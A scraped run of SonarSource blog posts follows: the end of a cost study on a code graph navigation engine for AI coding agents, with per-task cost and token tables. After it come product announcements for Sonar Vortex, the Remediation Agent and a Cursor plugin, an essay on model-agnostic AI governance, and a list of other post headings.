The engine can also return edit targets directly: a deduplicated list of {file_path, line} rows, one per affected source line. This is what decides whether the engine saves usage cost or adds it. A query that returns the right symbols but not their locations still forces the agent to grep again to find the edit points, stacking the query on top of the search instead of replacing it. Handing back the locations is what lets the agent stop re-grepping, the difference between the engine being substitutive (a cost win) and additive (a cost loss).

The study: methodology and integrity

The method compares two run groups on real software work: baseline runs (plain coding agent) and navigation runs (the same agent plus the graph navigation engine).

Take a real merged commit from a popular open-source project as the ground truth and the runnable oracle.
Build a prompt that describes the task by what it should do, with no file names, no symbols, and no line numbers, the way a developer actually asks. If the prompt names the files, it hands the agent the answer and measures prompt quality, not the agent's ability to navigate the code and do the work.
Check out the parent of the commit (the before state) into a clean workspace.
Reimplement the change twice, once baseline and once with navigation, holding the model, the effort, and the environment identical.
Gate on build and tests: a run counts only if it compiles and the targeted tests pass, because cost is comparable only when correctness is held equal.
Run ten times per side on Opus 4.8 at high effort with subagents on, and lead with the median.
Use a model-as-a-judge pass to attribute each cost swing to the engine, an eval bug, or run-to-run inconsistency, and run a cheat audit on every transcript.

We deliberately ran on Opus 4.8, for two reasons. First, to show the value survives Opus, one of the strongest available models according to our leaderboard, so the result is not a crutch for a weak one. Second, to reduce noise: a smarter model wanders into fewer tangents, so its runs are less variable and a signal is easier to see. The trade-off is that the strongest model is the most expensive, so it is the model on which you can least afford a high repetition count.

The goal of a stable signal is why n equals 10. A single run is too noisy to trust: the SQLAlchemy task read as plus 92 percent (mean of two runs) at n equals 2 and resolved to a minus 20 percent mean (minus 29 percent median) at n equals 10. Ten runs per side is the minimum that pulls a stable signal out of that run-to-run noise. It is enough to establish the direction of the effect, not a precise per-task mean, which is why we lead with the median rather than the mean. Nothing here rests on a small sample.

On integrity: every run was cheat-audited, with git history stripped from each workspace, the network blocked at the host level, and the agent's own web-fetch and web-search tools disabled symmetrically on both sides, so the answer could not be recovered out of band. Correctness was held equal across both groups. These are controlled benchmark numbers from a hardened harness, not what a single casual local run looks like. A one-off comparison without the same measurement discipline is dominated by noise.

The result: six agent usage costs wins across four programming languages

The chart includes the mean and median deltas. A negative delta means the navigation runs were cheaper. Dollars are model usage per run at Opus 4.8 prices at the time of measurement.

Experiment	Repo	Lang	Commit	Baseline mean / median	Navigation mean / median	Mean delta	Median delta
BloomFilter self-typing	apache/commons-collections	Java	`5479a7d7`	$14.20 / $14.29	$9.07 / $9.38	-36%	-34%
BloomFilter package rename	apache/commons-collections	Java	`4a2aa76d`	$1.91 / $1.86	$1.52 / $1.40	-20%	-25%
SQLAlchemy compiler kwargs	sqlalchemy/sqlalchemy	Python	`f8fd9ce2`	$2.03 / $1.71	$1.62 / $1.22	-20%	-29%
TanStack mutation context	TanStack/query	TS	`a2151d28`	$9.58 / $9.45	$9.09 / $8.89	-5%	-6%
AssertJ arg-order reorder	assertj/assertj	Java	`69c8410b`	$5.38 / $5.61	$5.15 / $4.78	-4%	-15%
QuartzNET return types	quartznet/quartznet	C#	`d569f8d5`	$11.10 / $10.20	$11.71 / $8.11	+5% (median-only win)	-20%

The last two rows carry a nuance. AssertJ is a clear win on the typical run (median minus 15 percent) while its average is flat, because a multi-module Maven build dominates the cost. QuartzNET's plus 5 percent average is inflated by three heavy edit-and-build-variance runs. Its typical run is minus 20 percent, which is the fair read.

The dollar savings come from the model doing less work, not from a pricing trick. Prompt caching discounts the context an agent re-reads, but how much you benefit from that discount depends on timing and varies from one user to the next, so the clearest view sets caching aside and counts every token at face value. Counted that way, the navigation runs read fewer input tokens and generate fewer output tokens on every task:

Experiment	Input tokens (base -> nav)	Input delta	Output tokens (base -> nav)	Output delta
BloomFilter self-typing	18.8M -> 12.9M	-31%	89k -> 78k	-12%
BloomFilter package rename	1.4M -> 1.3M	-11%	31k -> 21k	-32%
SQLAlchemy compiler kwargs	1.2M -> 891k	-24%	29k -> 19k	-35%
TanStack mutation context	13.4M -> 10.6M	-21%	74k -> 72k	-4%
AssertJ arg-order reorder	5.1M -> 4.2M	-18%	69k -> 59k	-15%
QuartzNET return types	13.3M -> 10.0M	-25%	85k -> 80k	-6%

Input is mostly the resident context the model re-reads on every turn. The navigation runs keep fewer files in play, so they read less. Because both columns fall on every task, the saving is real work avoided, and it holds whatever your caching setup. These medians are over the same n equals 10 per-run set as the headline cost table and reproduce from the data published alongside this article.

One kind of work showed up again and again in these wins: the same small, behavior-preserving change repeated across every implementation of a shared abstraction, an interface, a base class, or a protocol, where the code that changes never names the abstraction. In other words, a plain text search cannot list those places cleanly. On work like this, finding the complete set of places to edit is most of the job. The edits themselves are mechanical and nearly identical, and a single structural query hands back the whole list in one call. That is where the engine helped most.

The six AI token consumption cost wins in detail

Each result below is shown as a box-and-whisker chart. Baseline runs are on the left and navigation runs are on the right, with n equals 10 per side. The box is the spread, every run is a point, and the diamond marks the mean.

1. BloomFilter self-typing (Java): minus 36 percent.

Baseline mean $14.20 / median $14.29; navigation mean $9.07 / median $9.38 (mean minus 36 percent, median minus 34 percent). There are 16 places to change, but a grep on the type name returns about 461 hits, a noise ratio of roughly 29 to 1. This is the clearest example of the pattern above, and the worked case behind the noise-flood numbers earlier: a high noise ratio, a question grep cannot answer (the type hierarchy), and the model trusting the structural answer instead of searching by text. The 16 implementors are not text-matchable, because many are anonymous, nested, or test subclasses whose declaration never names the interface near the code that changes. get-type-hierarchy enumerates all 16 and get-references supplies the edit lines, so a couple of structural queries hand the agent the full edit set directly and the read storm never happens. This is the most defensible win in the set: almost every navigation run came in below the baseline, not just the average. The win caps at 36 percent because the residual cost is the generics edit churn (edit, recompile, fix), which the engine cannot remove. Subagents not used. Every counted run passed the build and tests. About 13 files and 126 lines added in a typical run.

2. BloomFilter package rename (Java): minus 20 percent.

Baseline mean $1.91 / median $1.86; navigation mean $1.52 / median $1.40 (mean minus 20 percent, median minus 25 percent). The same family as the first task but lighter: search-signatures and get-references enumerate every reference site, including the test suite and the Javadoc references that grep mixes up with confusable near-miss names, so the model renames the right set in one pass. The absolute saving is small (about 39 cents per run), because a rename is cheap for both groups with no compile-churn tail. It is useful as corroboration that the mechanism is the refactor shape, not a one-off. Subagents not used (0 of 10). Tests 10 of 10 both groups. About 61 files and 638 lines added in a typical run.

3. SQLAlchemy compiler keyword arguments (Python): minus 20 percent.

Baseline mean $2.03 / median $1.71; navigation mean $1.62 / median $1.22 (mean minus 20 percent, median minus 29 percent). The cleanest Python example. There are 47 override sites against about 1,152 grep hits, a noise ratio of roughly 24 to 1. The override sites are def visit_<construct> lines spread across the backend dialect compiler files, and none of them name the base compiler, so a search for def visit_ returns over a thousand matches of which only a specific subset must change. The navigation runs leaned on search-signatures (25 times across the group), get-type-hierarchy (4), and get-source (4). This task read as plus 92 percent at n equals 2 (in one of the two runs the model never engaged the engine and brute-forced the change) and resolved to a clear win on both the mean and the median at n equals 10, which is the clearest single demonstration that single-run cost is noise. Subagents not used (0 of 10). Tests 10 of 10 both groups. About 5 files and 41 lines added in a typical run.

4. TanStack Query mutation context (TypeScript): minus 5 percent.

Baseline mean $9.58 / median $9.45; navigation mean $9.09 / median $8.89 (mean minus 5 percent, median minus 6 percent). TypeScript has a thinner symbol graph than Java, yet the pattern still holds: one signature flows to a fixed, scattered set of call sites the model must find completely. search-bodies (7) and trace-callers (2) pointed at the call sites directly so the model edited them without a re-grep loop. The win is real but modest, because the dominant cost is the npm and tsc build loop that the engine cannot move. Subagents used in 5 of 10 navigation runs. Every counted run passed the build and tests. About 27 files and 397 lines added in a typical run.

5. AssertJ catchThrowableOfType argument order (Java): median minus 15 percent, mean roughly flat (minus 4 percent, within run-to-run noise).

Baseline mean $5.38 / median $5.61; navigation mean $5.15 / median $4.78 (mean minus 4 percent, median minus 15 percent). There are 32 call sites against 196 grep hits, a noise ratio of about 6 to 1. The token catchThrowableOfType is greppable, so the difficulty is not locating it but distinguishing the old argument order from the new one across multi-line calls. The baseline burns 11 to 18 escalating regular expressions. The navigation search-signatures and trace-callers queries, read with get-source on the overloads, return the resolved call sites with line ranges directly, dropping the typical grep count from 11 to 3. The win shows only on the median because the dominant cost is the multi-module Maven build, which the engine cannot move, and because two of the ten navigation runs reverted to grepping and erased the gain on the average. Subagents used in 6 of 10 runs. Tests 10 of 10 both groups. About 32 files and 98 lines added in a typical run.

6. QuartzNET store and scheduler return types (C#): minus 20 percent on the typical run.

Baseline mean $11.10 / median $10.20; navigation mean $11.71 / median $8.11 (mean plus 5 percent, median minus 20 percent). This task touches 186 sites, more than any other here, against 776 grep hits, a noise ratio of about 4 to 1. The large number of edits did not translate into the largest saving. The navigation runs used search-signatures (23), get-type-hierarchy (10), and get-source (11) to enumerate the interface implementor set, and grep collapsed from about 22 calls in the baseline to 3. The median is a clear minus 20 percent win and is the fair read. The mean is the one figure that does not show it, dragged positive by three heavy runs (156 to 186 turns of solo editing, or spreading the work across many subagents) that reflect edit-and-build variance on a very large 186-site change rather than engine cost. The baseline has a right tail too, but a lighter one, so on this task the median run is clearly cheaper while navigation's worst runs are occasionally pricier than the baseline's. The median, not the average, is the summary here. Subagents used in 2 of 10 runs. Tests 10 of 10 both groups. About 24 files and 279 lines added in a typical run.

When does graph navigation reduce AI coding agent usage costs?

The refactoring shape in these examples is one place the engine helps, not the only one and not every task. Where navigating and understanding the code is not the bottleneck, for instance when a task is dominated by the sheer volume of mechanical edits or by the build-and-test loop, the engine has little to accelerate. We measured tasks like that, and the median cost stayed within a few percent of the baseline, with no penalty. Two caveats are worth stating plainly: the gain is tied to the kind of work, so it is not promised on every task, and a coding agent is noisy, so any single run can land either way. The effect is what you see in the median across repeated runs, not in a one-off comparison, which is why the study leads with the median over ten runs. Where finding the code is not the bottleneck, the engine stays out of the way rather than adding agent cost.

How much of the savings you actually get also depends on the model. The engine only helps when the agent calls it at the right moment and then trusts the result instead of re-checking it with a text search. The model runs a structural query and then ignores added cost rather than removing it. The measured wins here are on Opus 4.8. In our wider testing the same pattern held on Sonnet, while a smaller model like Haiku reached for the engine less consistently and left some easy wins unclaimed, though it still captured part of the benefit. The smarter the model, the better its judgment about when to ask a structural question and when to believe the answer, so the more consistent the gain.

Conclusion: Reduce coding agent usage costs with Sonar Vortex

How to Govern AI Agents with SonarQube Agentic Pack & AC/DC

The graph navigation engine reduces a coding agent's usage cost when finding and understanding the code is the real work. The refactoring tasks here are one clear example, and they share a profile you can use as a checklist: a widely implemented abstraction; implementors that text search cannot enumerate; a uniform, behavior-preserving change applied identically to every site; and discovery, rather than the build loop or the volume of edits, as the dominant cost. On tasks like these it delivered six wins across four languages, up to 36 percent cheaper per run: BloomFilter self-typing (minus 36 percent), the package rename (minus 20 percent), SQLAlchemy (minus 20 percent), TanStack (minus 5 percent), AssertJ (minus 15 percent on the typical run), and QuartzNET (minus 20 percent on the typical run, its average held up only by a few edit-and-build-variance outliers).

The effect is about the kind of task, not the language: the same wins showed up across Java, Python, TypeScript, and C#. What separated a win from a wash was not how many places needed changing, but whether a plain text search could list them cleanly. Where it could not, the engine helped. Where the work was not about finding code, it stayed out of the way, which is why it is safe to leave on.

Usage cost is only the first benefit. The second is the one the cost study keeps brushing against: because the engine enumerates the full set of structural locations, including the ones a text search never surfaces, the agent is far less likely to leave a site unchanged and ship a silent bug. An agent that understands the code, rather than one that pattern-matches text against it, is cheaper on exactly the work that is hardest to get right by hand, and, by enumerating sites a text search never surfaces, should be less likely to ship a silent bug, a benefit we argue from the mechanism rather than measure here, since correctness was held equal across both groups.

The navigation engine is available now as part of Sonar Vortex, the unified product that combines the betas of Sonar Context Augmentation and SonarQube Agentic Analysis together into a single product that manages the agents inner loop. Access to these capabilities is through the SonarQube CLI and SonarQube MCP Server integration with your coding agent or agentic IDE of choice. If your agents do this kind of work, large, uniform changes across a widely implemented abstraction where the hard part is finding every site, it is worth adding it to SonarQube.

Introducing Sonar Vortex and the SonarQube Remediation Agent

Manish Kapur — Tue, 30 Jun 2026 13:00:00 GMT

Two new products built to make AI agents more effective

AI coding agents are writing code faster than any review process was designed to handle. That is not a complaint about the tools. It is a structural gap. The way we write code changed in the last twelve months more than it did in the previous decade. The way we verify it has not kept up.

Addy Osmani put it clearly in June 2026: "A loop running unattended is also a loop making mistakes unattended." He's right. And the solution isn't to slow down the agents. It's to close the loop.

Your CI gate already catches what reaches it. The problem is what reaches it has grown: larger PRs, higher volume of code, faster cycles. Closing the loop means moving code verification upstream into the agent's workflow, so by the time code reaches CI, most issues are already resolved.

Today, we're introducing Sonar Vortex, a new product that operates inside the agent's coding loop: it gives agents the context and constraints they need before they write a line of code, then verifies their output in real time as they produce it. Alongside that, the SonarQube Remediation Agent is now generally available. Previously in beta, Remediation Agent works in the background, autonomously clearing the backlog of technical debt that AI development compounds over time.

Both are available for purchase today as part of Sonar Agent Essentials, Sonar's new offering for AI and engineering leaders who want to govern agentic development from day one. Together, they are the complete implementation of the Agent Centric Development Cycle's Guide, Verify, Solve framework. Each stage makes the next one stronger, and the efficiency gains compound across the entire development cycle.

The agentic problem has three parts

Most teams approach AI verification as a single gate at the end: a CI check, a PR review, a quality scan after the agent is done. That works for human-written code. It does not work for agents.

An agent doesn't write one function. It writes hundreds of lines across multiple files in a single session. By the time code reaches a CI gate, the agent has already moved on. Fixing issues means reconstructing the reasoning that produced them. The cost compounds.

There are three root causes:

Contextual blindness: Agents don't know your architecture, your approved libraries, or your security standards. They produce code that works in sandboxes but violates your standards. The model is good. The context and constraints are missing.

Late-stage verification: Issues are caught at PR review or in CI, after the agent has moved on. Fixing them requires time-intensive context reconstruction and slows down the exact delivery speed the agent was supposed to enable.

Debt accumulation at scale: AI generates code faster than teams can remediate the issues it leaves behind. The backlog grows. Legacy issues compound.

A closed loop for agentic development

Sonar Vortex and the SonarQube Remediation Agent cover all three stages of the Agent Centric Development Cycle: Guide, Verify, Solve.

GUIDE and VERIFY: Sonar Vortex

Sonar Vortex addresses the first two stages of agentic development, Guide and Verify, inside the agent's coding loop. It works on two dimensions simultaneously: making agents more effective by giving them the right context and constraints before they write, and keeping output quality high by verifying code in real time as agents produce it. Sonar Vortex brings together two previously released beta offerings, Sonar Context Augmentation and SonarQube Agentic Analysis, into a single generally available product.

Before the agent writes a single line, it needs to know what it is building into. Sonar Vortex connects to SonarQube and delivers deep, project-specific context and constraints to AI agents before they write or edit code, ensuring the generated code isn't generic, but actually fits your organization's unique coding standards. It is available via the SonarQube CLI or a locally running SonarQube MCP Server. Agents get the following key capabilities that no prompt can replicate:

Architectural awareness: agents navigate class hierarchies, trace call flows, and understand execution paths before writing anything.
Intelligent guidelines: coding standards, quality requirements, and security policies injected automatically based on project history and current task.
Semantic navigation: context retrieval uses Abstract Syntax Trees and control flow analysis, not keyword matching, so agents get code that's actually relevant.
Third-party dependency guidance: agents assess dependency health and safety before introducing or updating them, catching risk at the point of decision.

The agent doesn't guess at your architecture. It knows it. Code conforms from the first line. Token costs drop by up to 36%.

Even with verified context, large language models are probabilistic. A prompt that produced specific code yesterday has no guarantee of producing the same code today. New and different issues can emerge on every run.

Sonar Vortex solves a problem that every inner-loop verification tool has failed to solve: how do you get full CI analysis precision without the latency that makes CI unsuitable for the inner loop? The answer is a two-phase approach. During a normal CI run, SonarQube collects and stores analysis context for your project. When an agent needs to verify a change, that context is restored on demand. Single- or multi-file analysis runs in seconds, not minutes, while maintaining the same depth and precision as a full CI scan. There is no trade-off between speed and accuracy. You get both.

Sonar Vortex moves Sonar's analysis into the agent's inner loop. Every output is verified before a PR exists. Not a lightweight substitute for CI. The same analysis your team trusts in production, made fast enough to run inside the agent's workflow. The agent verifies against the same standards it was guided by.

The code generator and the verifier are separate. That separation is the point. Osmani calls it the maker-checker split: the model that wrote the code is too generous, grading its own homework. A different methodology catches what the generator missed.

This is Sonar's zero trust approach: different methodology from generation, clear segregation of responsibilities, fully auditable, perfectly explainable, consistent and repeatable.

The agent writes. SonarQube confirms. Two different methodologies, one output you can trust. Issues caught in the agent loop don't reach CI. Rework drops. The agent operates more efficiently.

SOLVE: SonarQube Remediation Agent

The backlog didn't start when your team adopted AI. It was already there. AI is just making it grow faster.

The SonarQube Remediation Agent runs an independent review and analysis to fix reliability, security, and maintainability issues in your codebase, and to remediate dependency vulnerabilities found by Software Composition Analysis. It works across your backlog (issues found in your main branch) and on issues in your latest pull requests. It works with projects bound to GitHub or Azure DevOps.

Every fix is verified before it surfaces. The agent does not guess. It proves.

You maintain full control. Enable the agent per project, then review and approve each suggested fix before it merges. The agent opens PRs. Engineers decide what ships.

The Remediation Agent is built on the Sonar Foundation Agent, the number one agent on SWE-Bench.

Why Sonar Vortex and SonarQube Remediation Agent matter

The three stages are not independent. They compound.

In our testing with a leading coding agent, Sonar Vortex reduced issues produced by 92% and lowered token consumption by up to 36%. Agents with the right context write better code from the start. Agents verified in the loop spend less time on rework. The efficiency gains are measurable at every stage.

Better context means fewer issues to catch. Fewer issues means the Remediation Agent works on real problems, not noise. Sonar's low 3.2% false positive rate is what makes this possible: when the signal-to-noise ratio is that high, automation is trustworthy. Every fix improves what the next cycle starts with.

A point solution addresses one stage. Sonar Vortex and the SonarQube Remediation Agent address all three, and the gains build at every handoff.

SonarQube has always run at the outer loop, the CI gate after code is committed. Sonar Vortex moves that same coverage upstream into the agent's coding loop, where issues are caught before a PR exists. The same standard, applied earlier.

Extending the independent code verification and governance platform you already trust

More than 75% of Fortune 100 companies verify code with Sonar. More than 7 million developers trust Sonar's findings in production.

Sonar Vortex and the SonarQube Remediation Agent extend that trust into agentic development. The analysis engine is the same deterministic engine running in production. The findings are consistent, repeatable, explainable, and fully auditable. Every result can be traced. Every decision can be defended to a regulator or a board.

When AI-generated code causes an incident, someone has to explain it. Sonar makes sure you can.

Sonar Vortex launches today. SonarQube Remediation Agent is now GA.

Sonar Vortex is available today as a new product. The SonarQube Remediation Agent is now generally available, graduating from beta. Both are available for SonarQube Cloud Enterprise and Teams Annual customers, packaged together as Sonar Agent Essentials. Sonar Vortex includes the previously released Sonar Context Augmentation and SonarQube Agentic Analysis products consolidated into one unified product.

To learn more or speak with your account team, visit sonarsource.com/products/agent-essentials

Model-agnostic AI is key to business continuity as models keep changing

Ekaterina Okuneva — Fri, 26 Jun 2026 16:00:00 GMT

In a fast-moving AI market, model-agnosticism is discussed as a technical preference. It sounds like an architecture choice: avoid vendor lock-in, keep interfaces flexible, support multiple providers, route tasks based on cost, latency, or capability.

But the deeper reasons to care are sovereignty and adaptability.

When we delegate important work to someone, or something, the last thing we want is to wake up one day and find that access has been cut off, the contributor has become less capable without warning, or abilities we built our workflows around have disappeared. Business continuity depends on predictability, and being able to plan. If we cannot reliably plan around the long-term commitment of a specific contributor, we have to plan around the continuity of the process instead.

Plan for the process

Businesses already understand this pattern. People leave, teams change, vendors fail, contractors vary in quality, and roadmaps shift. The response is process, frameworks, and documentation—clear ownership, reviews, access control, audit trails, fallback paths, escalation paths, acceptance criteria, institutional knowledge, and so on.

The AI world is different, but the principle still applies. A model may be brilliant today and weaker tomorrow. It may change behavior after an update, lose a capability because of policy, pricing, product strategy, infrastructure, regulation, or simple model drift. Even if none of that happens, different models will always have different strengths and weaknesses. So the question cannot be, “Which model do we trust completely?” The better question is, “What processes and frameworks let us keep moving when the contributor changes?”

Model quality is a risk variable

This is especially clear in AI coding – let’s take a look at a couple of examples from Sonar’s LLM leaderboard.

One of the models we tested introduced 68 vulnerabilities per million lines of code, with more than 60% of those vulnerabilities rated major severity or higher. Another introduced 147 vulnerabilities per million lines of code, with a similar severity profile.

Would I let the first model roam freely in my codebase because it introduces less risk? No, it’s still a pretty significant risk, and the model still needs controls.

The second model is almost double the risk, but that does not automatically mean eliminating this model from consideration. It means it needs stricter controls: narrower permissions, smaller tasks, stronger isolation, and a heavier verification path before anything reaches the main branch.

That is the important shift: we stop planning around the fantasy of a perfect contributor and start planning around a governed process that can absorb variance.

The move from “we use Model X” to “we operate a governed AI-assisted development process” is the same instinct businesses have always applied to critical dependencies. It is not pessimism about any particular model’s future, it is a refusal to build a dependency structure that can be collapsed by a third party’s roadmap decision.

Once you make that shift, model quality stops being a binary pass/fail question. Instead, it becomes a tunable variable in a system you actually control.

The quality of the contributor still matters (of course it does). A better model can move faster, require fewer corrections, and handle more ambiguous work. But quality variation is not new. What matters is whether the surrounding system can detect, contain, and correct that variation before it becomes business risk.

Where there’s a will, there’s a way

In AI coding, the critical processes are verification and governance. Verification paves the road to model-agnosticism becoming practical rather than ideological. It is what allows teams to use different models without treating every model switch as an existential event.

The point is not one scanner, one review, or one heroic final checkpoint. It is a governed path from creation to release: coding standards that define what is acceptable in the codebase, deterministic analysis that goes beyond linting into semantics, data flows, dependencies, and architecture, and quality gates that turn those standards into enforceable checkpoints for risk management, compliance, and auditability. Other layers can do what they are best at: AI code review for logic and reasoning issues, testing for behavior and usability, and hunter agents for the cases everyone else may have missed.

No single approach is expected to catch every problem. The strength comes from combining different methods with low false positives, high true positives, and clear ownership of what is allowed to move forward.

This is the surface the road is built on. If the bus is not running, you are not stuck as long as there is still a road. You can bike, drive, run, or walk. Some options are faster. Some are safer. Some are efficient. Some require more effort. But the existence of the road preserves your freedom to move.

That is what intellectual sovereignty looks like in the age of AI:

Treat models as powerful contributors, not irreplaceable authorities.
Own the process, the standards, and the verification layer.
Use that verification layer to determine which models are trusted for which kinds of work.
Keep the ability to swap, upgrade, or diversify model capability without collapsing the workflow when a model is degraded, restricted, or changed.

The future of AI will keep changing. Models will rise, regress, specialize, disappear, rebrand, get cheaper, get more expensive, become restricted, become open, become regulated, and become obsolete. Betting everything on one model’s permanent excellence is not a strategy; it is unwise dependency disguised as confidence.

The durable path is to build systems that assume movement. Model quality matters, access matters, cost matters, latency matters. But sovereignty comes from process. The organizations that thrive will not be the ones that found the one perfect model and trusted it forever. They will be the ones that built the roads.

Own the verification layer

That is where SonarQube becomes an integral part of the control plane. If AI-generated code is entering the codebase, the organization needs a verification layer that does not care which model produced the change. The standard cannot move every time the contributor changes. SonarQube helps anchor that standard centrally: define what good looks like, analyze code consistently, enforce quality gates, and make quality and security visible across projects.

This matters because AI governance cannot live in prompts, preferences, or model selection. Those are inputs. The real control point is the development workflow, where code either earns trust or it does not. A model with a lower risk profile may move through with fewer interventions. A model with a higher risk profile may need tighter gates, narrower permissions, smaller tasks, or more review. But the principle stays the same: generated code is not trusted because of where it came from, but because it passed verification.

In that sense, SonarQube is not a bet on one model over another. It is a bet on owning the road. It helps teams preserve sovereignty by making quality and security checks repeatable, visible, and governed across changing AI providers, changing model capabilities, and changing development practices. The model can change, but the process holds.

Keep the business moving

Optionality without paralysis is the real point of AI sovereignty and model agnosticism. It is the ability to pick your tools, mix and match contributors, change routes when conditions change, and keep the business running when one of the moving parts suddenly needs a safety check before it can be trusted again. Sovereignty means the organization still has choices when the market moves, when a model changes, or when a provider’s roadmap no longer matches its own. In an AI world where the moving parts will keep moving, the organizations that stay in motion will be the ones that own their standards, own their verification, and own the process that lets them choose what comes next.

Start a free trial to see how SonarQube helps teams turn AI code into verified, governed software.

Now available: SonarQube plugin for Cursor

Brooks Naylor — Wed, 24 Jun 2026 16:00:00 GMT

TL;DR overview

The SonarQube plugin for Cursor connects Cursor to a SonarQube instance via MCP Server to deliver deterministic, in-chat code quality and security verification.
This extension installs specific sonar-* skills to query quality gate status, assess dependency risks, check code coverage, and scan 450+ secret types before code generation.
Driven by the SonarQube CLI runtime, it executes Agentic Analysis to automatically analyze, surface inline findings, and apply rule-driven fixes on every file the agent touches.
The plugin enables the verify step of the Agent-Centric Development Cycle (AC/DC), resolving code quality issues immediately within the active session rather than delaying until CI/PR reviews.

What is the SonarQube plugin for Cursor?

Introducing SonarQube Plugin For Cursor

If you're already using Cursor to write code, you've probably felt the gap between how fast the agent generates and how long it takes to find out whether the output holds up. CI catches things. PR review catches more. But neither happens in the same session that writes your code.

The SonarQube plugin for Cursor closes that gap. It connects Cursor to your SonarQube instance through the SonarQube MCP Server and installs a set of sonar-* skills into your project. From there, Cursor can query quality gate status, list open issues, check code coverage and duplication, and assess dependency risks without you ever leaving the chat. The same quality profiles and gates your organization already has in place govern every result.

One thing worth knowing if you're also using the SonarQube for IDE extension inside Cursor: the two are complementary. The extension drives real-time editor feedback through Connected Mode; this plugin drives the in-chat agent loop. They don't overlap — they stack.

How does the SonarQube plugin for Cursor work?

Setup runs through a single sonar-integrate skill after installing the plugin from the Cursor marketplace. That skill runs the sonar integrate cursor command which prompts for and wires authentication, the MCP server, hooks, an Agentic Analysis rule, and a Context Augmentation skill into the .agent/skills/ directory. It's idempotent, so re-running it reports what's already in place rather than overwriting things. Alternatively, with the SonarQube CLI already installed, all it takes is a single sonar integrate cursor command to get everything up and running.

Under the hood, the SonarQube CLI is the runtime everything depends on.

Secrets scanning on every prompt and file read. A beforeSubmitPrompt hook scans every prompt before it reaches the model. If a recognized credential pattern is detected—the plugin covers 450+ secret types—the prompt is blocked outright and never sent. A preToolUse hook and a beforeReadFile hook run the same scanner in front of file reads. When either fires a denial, the plugin also appends the file path to .cursorignore, which is what actually prevents Cursor from reaching the file on subsequent attempts.

Context Augmentation before generation. Sonar Context Augmentation delivers your coding guidelines, architectural intent, third-party dependency health, and semantic navigation to Cursor at prompt time. The agent picks this up on the first prompt of a session and carries it forward, so code generation is informed by SonarQube's view of your project from the start. (Context Augmentation is currently only available on SonarQube Cloud).

Agentic Analysis on every file the agent touches. A Cursor rule installed by sonar integrate tells the agent to run sonar analyze agentic on each file it creates or edits before ending the turn. Findings surface inline. Where a rule-driven fix is available, the agent applies it and re-runs analysis to confirm the issue is resolved before handing control back. The turn doesn't close until each remaining finding is either fixed or explicitly left open with a reason.

The result is the same closed loop the plugin delivers in other agent environments: guide with context, verify every edit, fix before the session ends.

Why should I verify code quality inside Cursor during the session?

AI models are probabilistic. The same prompt can produce different output on different days, and the same model can produce subtly different results across a long session. That makes deterministic, independent code verification essential — SonarQube produces the same result for the same code every time, giving you an auditable standard that agent self-review can't replicate.

This is the Verify step of Sonar's Agent-Centric Development Cycle (AC/DC) in practice: guide the agent with context and constraints, verify output deterministically, and solve issues in the same session. Catching a problem at the point of generation is faster and less disruptive than catching it in CI or during a PR review — and small errors compound. When an agent writes hundreds of lines before verification runs, a missed issue early can propagate through the rest of the output.

How do I set up the SonarQube plugin in Cursor?

Install the SonarQube plugin from the Cursor marketplace, open your project in a new Cursor Agent session, and run sonar-integrate in the chat. The skill walks you through authentication, scopes the integration to your project, and writes the MCP registration, hooks, rule, and Context Augmentation skill into place. Once that's done, open Settings → Tools & MCPs and toggle sonarqube on — Cursor doesn't enable MCP servers automatically after setup.

The full walkthrough, including step-by-step screenshots and a worked example using a real open source project, is in the Cursor plugin blueprint.

Use Cursor for speed. Use SonarQube for trust.

Get started with SonarQube Cloud

SonarSource Blog

Sonar joins the Open Secure AI Alliance to advance AI safety and security

Some ways we're helping:

OpenAI GPT-5.6 Sol and Terra: An evaluation

How was GPT-5.6 Sol and Terra evaluated?

Key metrics at a glance

Functional skill

How much code does GPT-5.6 Sol generate compared to GPT-5.5?

Does GPT-5.6 Sol generate more complex code than GPT-5.5?

Bug density and severity

What security vulnerabilities does GPT-5.6 Sol generate in code?

How maintainable is GPT-5.6 Sol generated code?

How does GPT-5.6 Terra differ from GPT-5.6 Sol?

How do GPT-5.6 Sol and Terra token usage compare to GPT-5.5?

What are the biggest risks of using GPT-5.6 generated code in production?

The return of Shai-Hulud: How SonarQube detects and contains the npm worm

What is the Shai-Hulud worm and how did it start?

How the worm operates

How SonarQube detects and contains it

The primary layer — malicious package detection

Supporting layer — catch before commit

Supporting layer — dependency pre-flight for agents

Supporting layer — secrets detection

Next steps

Here we go again

Further reading

Migrating to SonarQube Cloud just got a whole lot easier

What does the Sonar Migration Tool do?

How do you run the Sonar Migration Tool step by step?

Customers can run it themselves

How fast is it?

Which SonarQube Server versions are supported by the Sonar Migration Tool?

What are the prerequisites for migrating to SonarQube Cloud?

Detailed migration reporting

What are the limitations of migrating from SonarQube Server to SonarQube Cloud?

Post-migration activities

The time to move to SonarQube Cloud is now

Why Sonar signed the Open Weights and American AI Leadership letter

Choice matters in the AI era

Openness requires accountability

Every model needs verification

Building an AI ecosystem that lasts

CLI vs. IDE: How to choose the best environment

The case for the IDE

The case for the CLI

The debate misses the point

SonarQube meets you where you work

The environment is yours, the standard is constant

Next steps

Scaling AI-assisted development in US financial services without losing control

How SonarQube maps to FFIEC DAM expectations

Governance and risk management

Development, quality, and SDLC controls

Testing, DevOps, and DevSecOps

Open source and software supply chain

Containers and repository-based change

Why does this matter for AI-assisted development?

Now available: SonarQube plugin for Antigravity

What is the SonarQube plugin for Antigravity?

How do I set up the SonarQube plugin for Antigravity?

Why does AI-generated code need independent quality verification?

How do I install and configure the SonarQube plugin for Antigravity?

COBOL is back, and AI is writing it. Who's verifying the code?

COBOL's comeback is a survival move

Can AI write and translate COBOL code?

What are the risks of using AI to modernize COBOL systems?

SonarQube: the verification layer for COBOL

Accelerate with AI agents, verify with SonarQube

Where to go next

Escape from AppleScript: Even folder names can be user input

Impact

Technical details

Exploitation path

Patch

Timeline

Summary

Related blog posts

Introducing SonarQube Server 2026.4

SonarQube Cloud now supports GitHub Enterprise Cloud with data residency (GHE.com)

Why data residency matters for regulated industries